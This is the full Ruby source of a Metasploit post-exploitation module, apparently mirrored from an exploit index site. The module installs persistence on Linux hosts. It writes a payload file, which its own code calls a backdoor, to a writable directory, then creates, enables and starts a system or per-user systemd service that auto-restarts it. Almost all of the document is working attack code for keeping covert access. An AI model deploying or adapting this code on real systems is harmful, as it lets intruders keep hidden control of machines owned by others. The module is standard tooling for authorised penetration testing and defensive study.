Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-PERSISTENCE-INIT_SYSTEMD-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE # for generate_payload_exe
  include Msf::Post::Linux::User # get_home_dir
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/linux/local/service_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Service SystemD Persistence',
        'Description' => %q{
          This module will create a service on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services
          Targets:
          CentOS 7
          Debian >= 7, <=8
          Fedora >= 15
          Ubuntu >= 15.04
          Verified on Ubuntu 18.04.3
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die <mike@shorebreaksecurity.com>',
        ],
        'Platform' => ['unix', 'linux'],
        'Privileged' => true,
        'Targets' => [
          ['systemd', {}],
          [
            'systemd user',
            {
              'Author' => 'Cale Black'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Arch' => [
          ARCH_CMD,
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
        'References' => [
          ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'],
          ['URL', 'https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]
        ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        },
        'DisclosureDate' => '2010-03-30' # systemd release date
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']),
        OptString.new('SERVICE', [false, 'Name of service to create']),
        OptString.new('USER', [ false, 'User to target, or current user if blank', '' ], conditions: ['Targets', '==', 'systemd user']),
      ]
    )
    register_advanced_options(
      [
        OptBool.new('EnableService', [true, 'Enable the service', true])
      ]
    )
  end

  def check
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    print_warning('User doesnt have root permissions, yet target set to systemd, likely need to change target to systemd user.') if target.name == 'systemd' && !is_root?
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
    return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
    return CheckCode::Safe('Likely not a systemd based system') unless command_exists?('systemctl')

    CheckCode::Appears("#{writable_dir} is writable and system is systemd based")
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    whoami
  end

  def install_persistence
    print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
    backdoor = write_shell(writable_dir)

    path = backdoor.split('/')[0...-1].join('/')
    file = backdoor.split('/')[-1]
    case target.name
    when 'systemd'
      systemd(path, file)
    when 'systemd user'
      systemd_user(path, file)
    end
  end

  def write_shell(path)
    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
    backdoor = "#{path}/#{file_name}"
    vprint_status("Writing backdoor to #{backdoor}")
    if payload.arch.first == 'cmd'
      write_file(backdoor, payload.encoded)
      chmod(backdoor, 0o755)
    else
      upload_and_chmodx backdoor, generate_payload_exe
    end
    @clean_up_rc << "rm #{backdoor}\n"

    fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor)

    backdoor
  end

  def service_file(exec, target = 'multi-user.target')
    <<~EOF
      [Unit]
        Description=Start daemon at boot time
        After=
        Requires=
        [Service]
        RestartSec=10s
        Restart=always
        TimeoutStartSec=5
        RemainAfterExit=yes
        ExecStart=#{exec}
      [Install]
      WantedBy=#{target}
    EOF
  end

  def systemd(backdoor_path, backdoor_file)
    if payload.arch.first == 'cmd'
      script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}")
    else
      script = service_file("#{backdoor_path}/#{backdoor_file}")
    end

    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)
    service_name = "/lib/systemd/system/#{service_filename}.service"
    vprint_status("Writing service: #{service_name}")
    write_file(service_name, script)

    fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)

    @clean_up_rc << "rm #{service_name}\n"
    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("systemctl enable #{service_filename}.service")
    end
    vprint_status('Starting service')
    cmd_exec("systemctl start #{service_filename}.service")
  end

  def systemd_user(backdoor_path, backdoor_file)
    if payload.arch.first == 'cmd'
      script = service_file("/bin/sh #{backdoor_path}/#{backdoor_file}", 'default.target')
    else
      script = service_file("#{backdoor_path}/#{backdoor_file}", 'default.target')
    end
    service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12)

    user = target_user
    home = get_home_dir(user)
    vprint_status('Creating user service directory')
    mkdir("#{home}/.config/systemd/user", cleanup: false)

    service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
    vprint_status("Writing service: #{service_name}")

    write_file(service_name, script)
    @clean_up_rc << "rm #{service_name}\n"

    if !file_exist?(service_name)
      print_error('File not written, check permissions. Attempting secondary location')
      vprint_status('Creating user secondary service directory')
      mkdir("#{home}/.local/share/systemd/user", cleanup: false)

      service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
      vprint_status("Writing .local service: #{service_name}")
      write_file(service_name, script)
      fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name)
      @clean_up_rc << "rm #{service_name}\n"
    end

    # This was taken from pam_systemd(8)
    systemd_socket_id = cmd_exec('id -u')
    systemd_socket_dir = "/run/user/#{systemd_socket_id}"
    vprint_status('Reloading manager configuration')
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user daemon-reload")

    if datastore['EnableService']
      vprint_status('Enabling service')
      cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user enable #{service_filename}.service")
    end

    vprint_status("Starting service: #{service_filename}")
    # Prefer restart over start, as it will execute already existing service files
    cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl --user restart #{service_filename}")
  end
end